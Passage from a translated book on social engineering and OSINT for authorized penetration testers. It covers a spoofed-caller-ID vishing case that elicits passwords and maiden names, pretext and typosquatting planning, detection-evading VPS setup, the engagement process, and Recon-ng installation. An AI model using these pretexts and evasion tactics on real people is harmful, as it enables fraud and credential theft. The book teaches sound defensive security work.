如果你是执法人员(联邦、州、地方等)或持牌私人侦探,特定的道德规范和法律先例会指导你收集和使用 OSINT 的参数。在进行任何 OSINT 收集操作之前,务必查阅相关法律或咨询法律顾问。

美国公民自由联盟(ACLU)在 2012 年发布了一份文件,警告使用大数据和其他技术(包括 OSINT)试图在犯罪行为发生前识别潜在罪犯的滑坡效应。ACLU 讨论了收集执法机构关于个人的大规模数据,然后利用这些数据将他们卷入可能并未犯下的罪行,通常通过数据科学进行预测。ACLU 文章的作者 Jay Stanley 认为,这种数据收集和分析将鼓励更多的收集,无论是否有正当理由。这可能导致人们在没有正当程序的情况下进入刑事司法系统。

作为私人公民收集数据

私人公民:你还没有摆脱困境。一些国家和地区有法律规范所有公民进行 OSINT 收集,即便是执法人员以外的人。例如,在南卡罗来纳州,你必须是持牌私人侦探,才能使数字取证研究在法庭上作为证据。数字取证研究包括从计算机系统分析中获得的任何信息,无论是硬盘还是网络。

底线:你有责任了解你和你的目标所在地区的法律。在进行任何开放源代码情报(OSINT)收集之前,最好咨询一位具有网络法律知识的律师,特别是涉及商业和咨询领域的法律,以确保安全。

案例研究:社会工程学的道德界限

以下情境发生在我作为顾问,协助渗透测试团队对一个组织进行测试时。我被要求联系最多 25 个目标并撰写通话报告。公司没有提供给我任何背景信息。(一些客户喜欢提供背景信息,尽管我更倾向于自己创设情境,以确保员工没有被提前告知。)

我假装进行一项组织透明度调查,这是我编造的,目的是让我能在 CEO 的所谓授权下向受害者提出一些相当私人化的问题。我没有通过开源情报(OSINT)去找电话号码,而是组织提供了一份号码列表,没有名字或部门。因为盲目拨打号码通常不会成功,我需要做更多的调查。在这些电话号码中,一个是警察调度,另外两个是当地法院的电话号码。我和经理讨论过这些号码,我们决定出于谨慎起见,不进行钓鱼电话。

为了拨打这些电话,我伪造了我的号码,让它显示为尼尔森公司(Nielsen)的电话,尼尔森是一家为其他组织进行调查的公司。我声称自己在进行一项由目标组织的负责人授权的调查,目的是了解员工对工作场所和其他部门的了解。我问了一些类似于以下的问题:

  1. 你工作了多久了?

  2. 你可以使用无线互联网吗?如果可以,网络名称或服务集标识符(SSID)是什么?

  3. 你有自动售货机吗?

  4. 你使用什么类型的电脑?操作系统是什么?

  5. 你使用哪个品牌和类型的防病毒软件?

  6. 你的清洁工是谁?

  7. 你母亲婚前的名字是什么?

  8. 你能提供一个你曾使用的旧密码或当前密码的例子吗?

作为缓解措施,我没有录音通话,并且在一个私密的地方进行。过了一段时间,有几个人给了我她母亲的婚前姓氏,但还没有人给我任何密码。

接下来,我打了一个公共事业电话。一个 60 多岁的女士接听了电话。我们互相寒暄了一下,我解释了调查内容。她同意尽可能提供帮助,但告诉我她不太懂技术。

“我也是,”我说。“我在 ACME 社区学院学习心理学,做这个工作是兼职的。”我们笑了笑,我开始了调查。

我逐一查看了列表。她回答了前六个问题,但当我问她婚前母亲的名字时,她告诉我那是密码重置问题,她真的不该告诉任何人。我同意继续问下去,告诉她我并不总是喜欢必须问这些问题。我提醒她,她完全可以拒绝回答任何问题。当我问她常用的密码时,她犹豫了一下,然后叹了口气告诉我“酪乳”。

“酪乳?”我重复道。

为了与她建立关系,我分享了一个真实的故事,讲述了小时候我如何喜欢和已故的祖父一起吃碎玉米面包浸在酪乳里。

那位女士开始抽泣。当我问她是否没事时,她告诉我,玉米面包加酪乳是她已故丈夫最喜欢的食物。我立刻感到低落。她告诉我,接下来的感恩节是她丈夫的生日,而她大约三年前因癌症失去了他。

在这种情况下应该怎么做?我选择保持角色,但我与她聊天直到确认她已经恢复到一个好的心理状态。如果我直接挂掉电话继续进行,那将是不道德的。我们聊到了已故的家人、她所在地区的人、天气以及其他一些闲聊话题。

在断开电话之前,我问她是否还好。断开电话后,我和实践负责人进行了交谈,重复了整个事件,并告诉他我不想再做更多的电话访问。他同意了,于是我转向了另一个不涉及打电话的项目。

主要收获:

  • 始终允许人们选择退出参与。你可以尝试影响他们继续进行,但不要过于强求。如果他们说不,就放手。如果你有信心,可以稍后再问一次,但如果他们再次拒绝,就放弃。强迫不会对你的目标有帮助。

  • 在提问敏感问题时,确保你处在安静和安全的环境中。如果提问这些问题时,避免录音通话。

  • 如果你察觉到自己触动了某人的敏感神经,要花时间与他们进行总结或将他们带回稳定的状态,具体取决于你的任务是否适合这种做法。

  • 如果你陷入像我这样的情况,应该与管理层沟通。他们应该知道发生了事故,以防目标联系他们,但他们也需要了解你的心理状态以及可能影响你表现的任何因素。

结论

社会工程学和开源情报(OSINT)对参与者的个人生活有影响,甚至影响到工作之外的生活。在这一点上,它不同于传统的渗透测试,因为传统渗透测试大多数情况下允许受害者把工作留在工作中。执行这些任务时,务必小心谨慎,确保目标人物不会遭受心理上的负面影响或其他伤害。做到这一点的最佳方法是设定明确的边界,就像本章中所描述的那样。否则,我给从业者的最佳建议是相信自己的直觉。在与国际客户合作时,不要犹豫联系法律顾问。如果你做的事情会让你自己感到不安,那很可能说明你不该这样做。

第三章:准备攻击

只要一个人全力以赴地说出最离谱的谎言,总会有人相信。

——马克·吐温,《Alta California》报纸致旧金山信件,1867 年

执行社会工程学攻击带来的快感是无与伦比的。但在我们执行这些攻击之前,我们需要定义一个完成攻击的过程。如果不这样做,我们可能会陷入法律麻烦,甚至更糟,可能会损害目标的心理健康。框架在这时就发挥作用了。

本章将向你介绍一种与客户协调、确定(并遵守)任务范围的过程。我们还将介绍两个与执行开放源情报(OSINT)和社会工程学相关的过程——社会工程学框架和 OSINT OODA(观察-定位-决策-行动)循环——并讨论你可以使用的操作系统。

与客户协调

准备攻击的第一步是与客户协调,无论他们是付费客户、你的经理,还是公司内的其他团队。即使你已经完成了初步的范围界定过程,也不要犹豫,继续询问与工作执行相关的问题。你的刑事记录和生计可能处于危险之中,因此要确保你明确知道自己被允许做什么,和不被允许做什么。

范围界定

范围界定阶段,你必须与客户合作,确定你的任务将如何执行。这包括确定你的联系人是谁,以及时间上的考虑因素(例如预算中的工作小时数;执行测试的具体时间(如一天中的某个时段、一周或一个月中的特定时间);以及你不被授权进行测试的黑客期间)。你还应讨论法律问题,确保合同中包含能保护你免于法律问题的条款。因此,聘请律师是明智的选择。你需要的文字表述应能保护你免受天灾、自然灾害及其他不可预见情况的影响。最后,讨论任务的规模,比如需要拨打的电话数量或发送邮件的目标数量。

你和你的客户应当在工作说明书(SOW)中记录范围界定阶段的结果,这是合同中明确规定你在任务中被授权和未授权执行的事项的部分。确保 SOW 明确列出适当的任务规则。它应详细说明任何受限或要求的前提、源邮件地址、源或目的地 IP 地址以及其他与任务相关的约束或要求。同时,确保合同和 SOW 中提到你的名字。如果可能,最好列出所有测试人员的名字,以及你所工作的公司。

在定义范围时,确保你的社会工程测试符合特定要求。除了其他问题外,确保你拥有执行社会工程的适当授权和法律保护,并且签署合同的人有权授权你进行这些活动。如果你是公司内部员工进行测试,请确保获得书面授权。确保你拥有适当的差错与遗漏(E&O)保险,以便在法律上保护自己。E&O 保险也叫做专业责任保险(PII)专业责任保险(PLI),旨在保护你免于承担民事法院中防御过失索赔的全部费用。

范围定义阶段为整个任务设定了基调。如果没有正确地定义范围,可能会给双方带来相当大的麻烦。它可能会使任务变得不必要地复杂,导致你在后期花费更多时间进行电话沟通,或是执行不当的工作。如果公司认为你不专业,这也可能对你的声誉造成伤害。对于可重复的过程,请参考附录 A 中的范围定义工作表,工作表可以帮助你提出适当的问题,确保你收集到所需的所有信息。

定义目标

签署合同并制定 SOW(工作说明书)后,与客户讨论任务目标。这次测试是用于为公司增加防御措施(例如新的产品或技术)提供依据吗?还是用于评估人力资本需求?这次测试仅仅是为了满足合规要求吗?或者客户将其用来评估安全团队(例如,作为绩效评估的一部分,或是决定加薪的依据)?这些问题的答案不应该影响你如何执行任务,但它们应该帮助你了解预期的情况,并指导你如何构建沟通框架。

定义方法

你使用的方法是决定任务成败的关键因素。你会使用打字错误域名抢注吗?换句话说,你会使用一个与客户相似的域名,但包含打字错误(如果正确拼写容易被拼错,这种策略尤其有效),还是会购买一个相同名称、不同顶级域名(例如,使用nostarch.us代替合法的nostarch.com)的域名?你会冒充供应商、客户还是合作伙伴?你会吸引恶意文档的下载,还是仅仅收集凭证?你会将vishphish结合使用吗?客户希望你使用自动化解决方案,还是应该像我们在第七章中讨论的那样,进行更为手动的操作?

了解你的客户使用的技术和你要攻击的目标向量,将是成功实施的关键因素。为了超越常规,找出你是否能公开列举出公司的技术,然后在实施前自己完成这项工作。这种方法达成了两个目的:它为客户提供了一种检测和可能归因任何攻击的方法,同时也验证了客户是否充分实施了他们的技术。这一成果能为你的客户提供实质性的价值。

构建成功的借口

在构建借口时,尽量找出目标环境中可能被利用的当前事件。你可以声称自己是目标组织的云服务或电子邮件提供商,因“安全事件”需要额外的信息。你还可以查看本地社交媒体页面和群组,收集更多的开源情报(OSINT)关于这些事件。Facebook 和 Twitter 是寻找和列举此类信息的好资源,特别是当某个话题标签与事件相关联时。

如果有足够的时间,获取一些当地报纸的副本。如果你离目标地点足够近,可以走一趟城里,查看是否有传单或横幅在宣传这些事件。目标之间是否有共同的兴趣或目标?是否有员工喜欢远足、跑步、像斯巴达挑战赛(Spartan Race)、硬汉挑战赛(Tough Mudder)或铁人三项(Iron Man/Woman)等障碍赛?该组织是否有保龄球队或垒球队?如果有,他们参加的是哪个联赛,在哪儿比赛?他们的对手是谁?

这里提到的考虑因素将使你的网络钓鱼攻击与一般的攻击有所不同,使其成为国家级的威胁。花时间了解你的目标及其周围环境将极大地提高你的成功率,但务必确保你通过报告中分享这些提示,并在基于你的结果进行的任何培训中传递这些价值。

根据你收集到的信息,构建你的场景和借口。将前三到五个展示给客户,让他们选择一个你要使用的。如果可能的话,确认一个执行攻击的时间范围,但不是确切时间。这能让客户保持警觉,并且给你带来出其不意的效果。

尽管不应该让客户向员工透露你选择的场景,我遇到过类似的情况。在某次相关的合作中,客户限制了可能的借口和场景,然后规定了我可以发送网络钓鱼邮件和进行电话钓鱼(vishing)呼叫的确切时间。警告是:如果我因某种原因被要求回电,我可以在没有进一步同意的情况下进行。

幸运的是,我利用了这个警告并把它变成了我的优势。当我打电话时,我制造了很多非常响亮的背景噪音并伪装成中断。在噪音和“电话断线”之间,我成功地让大约三分之二的接听者要求我回拨电话。由于我在指定时间之外回拨电话,他们的警惕性降低了,他们也比在规定的通话期间更愿意透露信息。

使用专用操作系统进行社会工程学

作为一名专业的社会工程师或 OSINT 收集者,拥有合适的工具是必不可少的。Kali——一个为渗透测试设计的 Linux 发行版,由 Offensive Security 创建和维护——自带了像 Social-Engineer ToolkitSET)、theHarvester、Ghost Phisher、Maltego 和 Recon-ng 等工具。我们将在接下来的章节中更详细地讨论这些工具。Kali 及其附带的工具最适合用于渗透测试或涉及一般社会工程学的任务,尤其是没有进行极端 OSINT 收集的情况下,尽管也可以使用 Kali 执行高级的 OSINT 调查。

此外,加拿大非营利组织 Trace Labs 创建并积极维护了一个 Kali Linux 的分支(得到了 Offensive Security 的支持和协助),旨在帮助进行 OSINT 调查,特别是在其 Search Party 比赛中,利用 OSINT 寻找失踪人员。Trace Labs 预配置的虚拟机(VM)包含了各种 OSINT 调查工具,专注于商业和个人数据。该虚拟机可以在 www.tracelabs.org/trace-labs-osint-vm/ 免费下载。

使用不太常见的操作系统和配置也有其优势。具体来说,这样做可以让你调整环境以适应自己的偏好和舒适度。如果我在对一个可能会检测并报告我的目标进行侦察时,我不想使用我的家庭或工作网络,即便是通过可能被攻破的 VPN 连接。相反,除了使用 Offensive Security 和 Trace Labs 版本的 Kali,我还使用一个在云虚拟私人服务器(VPS)实例上运行的 Ubuntu 系统,在该系统上安装了一套定制工具,包括 SpiderFoot、Recon-ng、Metasploit、Metagoofil、theHarvester 以及一些我自己修改过的较不为人知的脚本和实用程序。该 VPS 有自己的独立 IP 地址,我可以通过创建新实例来获取新的 IP 地址,从而避免被检测到。(我已经制作并存档了该 Ubuntu 系统的镜像,所以可以根据需要生成新的副本。)我还可能通过加固 VPS 来提高其安全性——删除不必要的服务或应用程序,关闭未使用的端口,并对系统应用安全配置——并使用一个或多个 VPN 连接到它。我们将在第七章中讨论钓鱼基础设施的设置。

一些工具也可以在 Windows 上使用。还有一些是基于网页的工具(例如,Netcraft、Hacker Target 和 OSINT Framework),你主要通过网页浏览器访问它们。从 Mac 或 PC 上操作可能比在 Linux 上更方便。不过,要理解的是,如果你使用个人系统甚至是工作系统进行这些操作,更可能会被发现。只要你有进行这些类型工作的适当权限,最坏的情况是(a)被封锁,和(b)你的 IP 地址被加入到 威胁情报库(一个众包的恶意实体列表,或包含恶意活动或文件特征的条目,例如电子邮件地址、IP 地址、文件哈希或域名),这意味着你的潜在客户或目标可能会收到警告,称你使用的 IP 被认为是“恶意”的。使用 VPS 进行攻击可以让你只使用一次该设置,然后销毁它。

遵循攻击阶段

所有的道德黑客通常都会遵循一个定义好的攻击流程,以确保收集到所需的所有信息。这个过程通常包括以下步骤:侦察、扫描与枚举、获取访问权限、维持访问权限、清除痕迹和报告。你可以在www.cybrary.it/blog/2015/05/summarizing-the-five-phases-of-penetration-testing/阅读更多关于这些阶段的内容。然而,关于社会工程,定义一个稍微不同的攻击过程更为合理。图 3-1 中的 社会工程过程 对渗透测试过程进行了适应,以标准化社会工程。

<<圆形箭头图示显示社会工程过程的步骤:范围界定、侦察、设计与批准、实施、检测、度量和报告。>>

图 3-1:社会工程过程

过程中的每个步骤如下:

范围界定

  1. 在社会工程过程的范围界定阶段,你需要向客户提问,以确保你拥有所需的所有信息。

侦察

  1. 在侦察阶段,你会尝试识别公司中的关键员工;供应商、合作伙伴、供应商使用的技术;使用的域名和子域名;以及电子邮件地址和公司标准的电子邮件地址语法(例如,名字和姓氏由一个句点分隔)。一旦你签署了执行任务的合同,你可以在合同中定义的时间框架内开始侦察。除了遵守合同并按与你的时间目标一致的方式进行侦察(例如,在一个 4 小时的任务中花 12 小时收集开源情报(OSINT)关于单个目标),通常你不能收集过多的 OSINT。然而,一些组织确实保持良好的操作安全(OPSEC):他们不使用社交媒体,或者可能采取积极措施故意在他们的账户上发布误导性或虚假的信息,以避免此类威胁。我们称这一过程为虚假信息和欺骗

    第 4、5、6 章将为你提供一些执行开源情报收集的工具。请记住,尽管收集关于目标公司及其员工的足够信息很重要,但你有责任在持有数据期间保护这些数据。你应该只保留在需要时的必要信息,并且仅在法律要求的时间段内保留。

设计与审批

  1. 你必须花时间确保你收集到的开源情报是相关的,然后以一种能帮助员工和目标组织成长与学习的方式利用这些情报。毕竟,尽管你是在尝试获得系统或信息的访问权限,你应该希望被发现,并且希望你的客户能从你的活动中学习。

    设计与审批阶段包括为你的客户提出可能的借口供其审查和批准。你需要提供借口的详细信息,你将拨打的电话号码、发送电子邮件的电子邮件地址,以及你计划开始和结束的时间。同时解释你的目标。例如,目标可能是衡量目标点击电子邮件中链接的次数,或者你可能试图从他们那里获取敏感信息,或部署恶意软件或反向 shell 投放器(能够让你远程连接并安装恶意软件的软件)。

实施

  1. 在实施阶段,你需要安装和配置所有软件。这包括基础设施,如电子邮件账户、Web 服务器、启用了宏功能的 Microsoft Office 文档、恶意软件、USB 驱动器以及其他诱饵。你还可能需要访问组织的垃圾桶,并收集物品带离现场进行进一步分析。你将根据联系人批准的借口,实施钓鱼攻击、语音钓鱼攻击及在工作说明书中定义的其他攻击。

检测

  1. 在检测阶段,防守方会尝试检测到社会工程活动,并采取措施降低其效率或影响。根据参与活动的范围,防守方可能知道也可能不知道攻击已经被授权。如果这是红队演练的一部分,他们很可能不知道。虽然这一阶段似乎不如实际攻击那样令人兴奋,但它是整个过程最为关键的一部分。记住,你的最终目标是使组织能够检测和缓解社会工程活动。

测量

  1. 在测量阶段,你需要确定一些信息,比如有多少人受到恶作剧的影响,检测到攻击的时间有多长,受害者何时提交报告,提交了多少份报告,以及其他各种指标。分析完这些信息后,你应该将其汇编成报告提供给客户。我们将在第九章讨论测量技术。

报告

  1. 在报告阶段,你将收集到的指标与工作说明书(SOW)、执行总结、参与情况概述,以及从开源情报收集或参与活动中得出的任何发现一起整理。你可以使用附录 B 中的模板来撰写报告。你将把这份报告呈交给客户,以供他们存档和审阅。如果你选择保存报告副本,需妥善保管此文件,因为其中的信息可能被滥用,进而攻击客户。

除了这个社会工程过程之外,你可能会发现参考观察-定位-决策-行动(OODA)循环对于开源情报(OSINT)收集很有帮助,这是我常用的方法。该循环如图 3-2 所示,提示你观察你的发现并建立假设(即定位阶段),然后寻找更多信息以尝试确认这些信息。

<<圆形箭头图展示了 OODA 循环的步骤:观察、定位、决策和行动。>>

图 3-2:OODA 循环

一旦你拥有足够的数据,你就可以决定如何处理这些数据。你应该进行钓鱼攻击(phishing)还是语音钓鱼攻击(vishing),或者你是否需要更多信息才能成功?你是否拥有足够的信息来进行渗透测试或红队活动,并保持适当的隐蔽性?然后,根据这些决策的结果,你采取行动。

行动阶段可能包括执行攻击或撰写报告(如果客户只需要开源情报),也可能触发更多 OODA 循环的迭代。在这里没有对错之分,取决于你的目标和与你客户达成协议中的时间限制。

也就是说,你可以将这个循环应用于任何类型的攻击,无论是利用 Web 服务器漏洞,还是攻击 Web 管理员。

案例研究:为什么范围界定很重要

2019 年 9 月,Coalfire 的两名渗透测试人员因试图进入位于爱荷华州阿德尔的达拉斯县法院而被逮捕。尽管有关此次合作的具体细节目前尚未公开,但我们知道这两人是作为爱荷华州法院行政机构(SCA)授权的渗透测试的一部分进行行动的。在接受《Ars Technica》采访时,SCA 承认授权 Coalfire 测试法院电子记录的安全性。

根据他们的声明,SCA 并未预期或计划让测试人员试图获得物理访问权限。测试人员和 Coalfire 声称,渗透测试的目的是为了评估记录的漏洞并衡量执法部门的反应。虽然这听起来并不完全不合理,但测试人员被关押了几个小时并且需要保释的事实,说明此次合作的范围设定并不理想。

根据提供的信息,渗透测试人员本可以采取不同的做法。频繁与客户的安全联系人沟通是个不错的主意。如果有问题,不要犹豫,直接询问。同时,测试人员本可以确保在进行物理渗透测试时,随时携带经过公证的正式授权副本。

如何避免或预防这种情况?

  • 提出问题以澄清合作范围。

  • 通过电子邮件与联系人的对话非常有用。口头沟通能够完成事情,但提供的法律保护有限。

  • 管理层应在合同和授权文件中明确规定允许的事项以及不允许的事项。这应当是合同流程的一部分。

结论

花时间与客户正确界定合作范围,是节省双方时间和精力的绝佳方式。了解应该提问的正确问题无疑会对你有所帮助。按照社会工程学过程准备好你的攻势。一些社会工程师宣扬他们的工作是给公司带来混乱。虽然从某种角度来说确实如此,但你也必须有一种方法来应对这种混乱,确保所有相关人员都能获益。你完成工作并继续提升你的声誉,而客户则以一种能为其组织创造价值的方式,获得他们要求并支付的服务,且希望这为你带来回头客。

第四章:收集商业 OSINT

开放源代码情报(OSINT) 是指你可以从公开的、非隐藏的来源找到的任何数据。可用的公共数据的数量和重要性可能决定你的行动成败。如果你在没有了解目标的兴趣爱好、操作环境、组织结构或公司内部术语的情况下联系目标,可能会失败。

另一方面,花时间了解是什么让目标产生反应,将为你提供接触目标时的即时背景信息。很多时候,人们在没有充分进行或匆忙进行 OSINT 收集的情况下,尝试执行社会工程操作,这样他们就没有理由与目标交谈。

本章介绍了三种 OSINT 类型:商业、人物和网络威胁情报。接下来,我将介绍一些商业 OSINT 工具,用于执行有用的任务,比如查找公司高管姓名、发现公开可用的文件、收集电子邮件地址以及查看文档元数据。

案例研究:为什么 OSINT 很重要

2017 年,我赢得了 DerbyCon 的社会工程“夺旗赛”(SECTF)。这项活动让我和其他五名竞争者与一个毫不知情的财富 500 强公司进行对抗,地点位于肯塔基州路易斯维尔市。我们花了三周时间收集 OSINT,然后进入一个(大多数情况下)隔音的房间,花 20 分钟时间与目标公司的员工进行联系。在研究目标公司时,我查看了一位高管的社交媒体账户,了解到他因航空公司在纽瓦克的航班延误而迟到了阿姆斯特丹的一次商务会议。这条看似无害的信息给了我联系他的完美借口。

得到这个信息后,我将该航空公司的电话号码添加到我的“钓鱼”电话号码列表中。接着,我获得了该高管的姓名、电子邮件地址和电话号码,并将它们加入我的目标名单。如果这是一个允许进行网络钓鱼的任务,我将发送一封模仿航空公司模板的道歉电子邮件,然后打电话伪装成航空公司工作人员。之后,我可以确认我已经知道的信息,并问一些“安全问题”,让目标相信我是一个可信的来源。我甚至可能会加入一些 Windows 操作系统的声音,以增强我的可信度。最后,我将问他一些可能对公司运营环境致命的问题,比如设备升级状态、运营时间表或其他公司特有的机密数据。

如果我没有首先发现那位高管关于航班延误的帖子,这些攻击将不可能发生。有效的社会工程攻击很少在没有充分了解目标的情况下发生。更好的 OSINT 能带来更好的社会工程。

理解 OSINT 的类型

OSINT 可以涉及一个组织、一个人或一段代码。在 商业 OSINT 收集中,我们关注的是有关公司整体的信息:使用的技术、供应商、客户、运营和位置。

收集 个人 OSINT 时,我们可以走两条路。我们可以直接针对个人,搜寻诸如他们的喜好、厌恶、进一步的关系、密码重置问题和猜测密码的背景信息。另一方面,我们可以利用此人来了解他们所在公司的情况。这类 OSINT 可能包括他们在工作中的照片、简历、抱怨或不满、他们吹嘘的工作成就以及他们因工作而进行的旅行等。

OSINT 可以用于支持 网络威胁情报 (CTI),通常涉及一段代码或特定的对手。我们使用它来识别攻击者及其动机。例如,你可能追踪代码中的元素,以确定其作者或来源国。或者,你可能追踪一个联系过你组织的电子邮件地址或电话号码。人们对于 OSINT 在威胁情报中的有效性有不同的看法。有些组织做得非常好,而有些则是试图通过牺牲客户利益来赚取短期利润。

商业 OSINT

本节将帮助你开始收集商业 OSINT。在与公司员工沟通时,哪些背景信息可以用来建立关系?我将在这里介绍一些 OSINT 收集工具。

从 Crunchbase 获取基本的商业信息

各种平台可以为你提供有关公司的洞察。虽然大多数平台对深入信息收费,但有些平台允许免费或无需认证地收集有限的内容。例如,Crunchbasewww.crunchbase.com/)就是这样一个网站。Crunchbase 提供一个免费的服务层级,满足大多数休闲 OSINT 爱好者的需求。如果你打算大量使用它或作为专业顾问使用,建议支付 Pro 版费用。

在 Crunchbase 上搜索 Walmart 会弹出一个包含多个标签的资料页。图 4-1 显示了 Summary 标签页,它允许你获取公司总部的地址。在你滚动页面之前,可以找到公司涉及的并购、收购和退出的次数。你还可以看到公司的股票代码(如果它是上市公司)、关于公司的最新新闻,以及关于公司的基础性、甚至历史性的信息。Crunchbase 收集这些信息的方式包括分析师输入、网页抓取和自我报告,准确性各异。

<< Crunchbase 网页显示 Walmart 企业简介的“Summary”标签页,包括“About”、“Highlights”、“Recent News and Activity”和“Details”等部分。>>

图 4-1:Crunchbase 上 Walmart 的 Summary 标签页

“财务”标签提供了关于投资、退出和募资的具体信息(图 4-2)。

<<Crunchbase 网页显示 Walmart 商业资料的“财务”标签,包括投资亮点、融资、首次公开募股和股票价格等部分。>>

图 4-2:Crunchbase“财务”标签中 Walmart 的股票信息

如果公司是公开上市的,你将找到首次公开募股(IPO)和股票价格信息。如果你研究的是一家私人公司,你将在此部分看到很少或没有信息,或者可能会了解到募资情况,包括筹集的金额、投资者和日期。如果公司投资了资金或进行了捐赠,这些内容将列在接下来部分(图 4-3),随后是退出信息,并最后是收购信息(图 4-4)。

<<Crunchbase 网页显示 Walmart 商业资料的“财务”标签,展示公司在特定组织中的领投投资(8)和总投资(14)。>>

图 4-3:Crunchbase“财务”标签中 Walmart 的投资信息

<<Crunchbase 网页显示 Walmart 商业资料的“财务”标签,展示公司退出(5)和收购(25)。>>

图 4-4:Crunchbase“财务”标签中 Walmart 的收购信息

接下来是“人物”标签,其中包括重要员工。这些员工通常是负责某些关键领域的高层管理人员,或对公司历史产生过影响的人。例如,图 4-5 列出了 Walmart 的创始人 Sam Walton,作为“创始人兼管理员”出现在当前团队部分,并且虽然他已于 1992 年去世,但仍是董事会成员。

<<Crunchbase 网页显示 Walmart 商业资料的“人物”标签,包括亮点、简介和由 141 名成员及 21 名董事会成员组成的当前团队部分。>>

图 4-5:Walmart 在 Crunchbase 中的“人物”标签

“技术”标签通常是锁定的,除非你拥有专业账户。如果你有这种账户,这个标签将向你展示网站流量统计、移动应用指标,以及关于公司专利和其他知识产权申请的有限信息。这些信息可以在互联网上其他地方找到,因此无法访问也不是什么大问题。你可以尝试查看 BuiltWith(www.builtwith.com/)、Wappalyzer(www.wappalyzer.com/)或 Shodan(www.shodan.io/)。

最后的标签是“信号与新闻”,它聚合了相关的新闻和领导层变动(图 4-6)。

<<Crunchbase 网页显示 Walmart 商业资料的“信号与新闻”标签,展示有关领导层招聘和裁员的最新文章及媒体活动。>>

图 4-6:Walmart 的 Crunchbase 个人资料中的“信号与新闻”标签

此标签还列出了组织有某种关联的事件,无论是通过赞助还是让员工在这些事件中发言。这是一个很好的起点,但不能替代其他信息来源,包括公开文件、新闻稿和媒体报道。(我们将在接下来的几章中讨论这些来源。)此标签还可能建议你可以在自己选择的搜索引擎中输入的搜索词。

使用 WHOIS 确定网站所有者

发音为“who is”,WHOIS 是一个网站目录,包含网站及其所有者、网络块和联系方式。其目的是允许有合法业务咨询的人联系公司的网页团队,以获取有关其网站存在的信息。欲了解更多,请参见 RFC 9312。

如图 4-7 所示,你可以通过 DomainTools 搜索 WHOIS。whois 命令内置于 Offensive Security 和 Trace Labs Kali 版本中,也可以通过 apt-get 或其他 Linux 发行版中的类似命令添加到任何 Linux 系统中。

<<Walmart 域名资料显示通过 DomainTools 获取的 WHOIS 记录,展示了公司的注册信息和名称服务器。>>

图 4-7:通过 DomainTools 获取的 Walmart WHOIS 记录

页面顶部显示与目标域名相似且正在拍卖的域名。这些可能在进行域名抢占和进一步的网络钓鱼或诱饵攻击时派上用场。伪造很容易被发现,大多数邮件客户端都具备防伪造的保护措施,降低了你作为社交工程师的潜力。而域名抢占或拼写抢占更可能让邮件通过过滤器并进入收件箱。

接下来,注意到转移被禁止,这意味着你可能无法将该域名转移到不同的提供商,这也是红队常尝试的活动。还要注意域名的年龄,这有助于确认你正在查看正确的目标。或者,这一特性也可以揭示你使用的域名是假的。这就是为什么购买域名后,最好等待六个月到一年再使用它们。

接下来是该站点使用的域名服务器。这些服务器有时可以指示公司使用的其他软件。例如,Walmart 使用 Akamai 和 UltraDNS。Akamai 还提供内容分发网络(CDN)服务(加快页面加载速度并缓解 DOS 攻击)并执行网站保护和负载均衡(进一步减轻 DOS 攻击)。如果你正在为渗透测试做准备,了解这些信息非常重要。

请注意,自 2018 年 5 月 25 日起,欧盟通用数据保护条例(GDPR)改变了其管辖范围内 WHOIS 的处理方式。这促使负责 WHOIS 的互联网名称与数字地址分配机构(ICANN)改变了展示位于欧盟的公司和联系人信息的方式。

使用 Recon-ng 从命令行收集 OSINT

Recon-ng是一个 Linux 命令行工具,由 Tim Tomes 编写,用于收集 OSINT。它的操作方式类似于 Metasploit:你可以输入信息,设置目标,然后使用run命令执行搜索。

Recon-ng 内置了大量工具,用于收集企业和个人的 OSINT,从 Have I Been Pwned 泄露的电子邮件(在第六章中讨论)和 DNS 记录中的网络块,到 Shodan 中的主机或端口(在第五章中讨论)。通过使用 Recon-ng,你几乎可以找到关于一个公司的所有信息。

安装 Recon-ng

Recon-ng 已预装在 Offensive Security 和 Trace Labs 的 Kali 版本中。要在其他 Linux 系统上使用 Recon-ng,你需要 Python 3、pip3 包管理工具和 Git。然后,你可以通过以下命令将其安装到/opt目录:

root@se-book:/opt# **git clone https://github.com/lanmaster53/recon-ng**
Cloning into 'recon-ng'...
`---snip--`
Resolving deltas: 100% (4824/4824), done.
root@se-book:/opt# cd recon-ng/
root@se-book:/opt/recon-ng# ls -la
`--snip--`
-rw-r--r-- 1 root root    97 Sep 25 18:37 REQUIREMENTS
`--snip--`
-rwxr-xr-x 1 root root  2498 Sep 25 18:37 recon-ng
-rwxr-xr-x 1 root root    97 Sep 25 18:37 recon-web
root@se-book:/opt/recon-ng# python3 -m **pip install -r REQUIREMENTS** 
Requirement already satisfied: pyyaml in /usr/lib/python3/dist-packages (from -r REQUIREMENTS (line 2))
Collecting dnspython (from -r REQUIREMENTS (line 3))
  Downloading https://files.pythonhosted.org/packages/ec/d3/3aa0e7213ef72b8585747aa0e271a9523e713813b9a20177ebe1e939deb0/dnspython-1.16.0-py2.py3-none-any.whl (188kB)
    100% |████████████████████████████████| 194kB 5.6MB/s

设置工作区

Recon-ng 允许你定义独立的工作区,非常适合将收集的信息进行隔离。当你打开 Recon-ng 时,可以定义工作区并将收集的数据存储在其独特的 SQLite 数据库中。如果我正在进行同一调查,搜索不同的实体或公司,我会为它们分别指定工作区,这样在查看收集到的信息时就不会混淆。如果你没有定义工作区,Recon-ng 会将所有结果写入默认工作区及其关联的数据库。

在启动 Recon-ng 时使用工作区,请运行以下命令:

**recon-ng -w** `workspace_name` 

例如,如果我正在调查沃尔玛,我可能会运行这个:

recon-ng -w walmart

结果工作区看起来是这样的:

[recon-ng][walmart]

如果你已经在 Recon-ng 中,可以通过执行workspace list命令查看可用的工作区。

如果你想加载一个现有的工作区,可以执行此命令:

**workspace load** `workspace_name` 

你也可以通过以下命令创建工作区:

**workspace create** `workspace_name` 

一旦你不再需要工作区中的任何信息,并且过了数据保留期限,你可以删除它:

**workspace remove** `workspace_name`

安装 Recon-ng 模块

接下来,你需要启用并安装模块。让我们通过使用marketplace search命令来查看哪些模块可用:

[recon-ng][walmart] > **marketplace search**
+-----------------------------------------------------------------------------------    ------+
|.             Path                            | Version |     Status    |  Updated   | D | K |
+---------------------------------------------------------------------------------------    --+
| discovery/info_disclosure/cache_snoop        | 1.0     | not installed | 2019-06-24 |   |   |
| discovery/info_disclosure/interesting_files  | 1.0     | not installed | 2019-06-24 |   |   |
| exploitation/injection/command_injector      | 1.0     | not installed | 2019-06-24 |   |   |
| exploitation/injection/xpath_bruter          | 1.1     | not installed | 2019-08-19 |   |   |
| import/csv_file                              | 1.1     | not installed | 2019-08-09 |   |   |
| import/list                                  | 1.0     | not installed | 2019-06-24 |   |   |

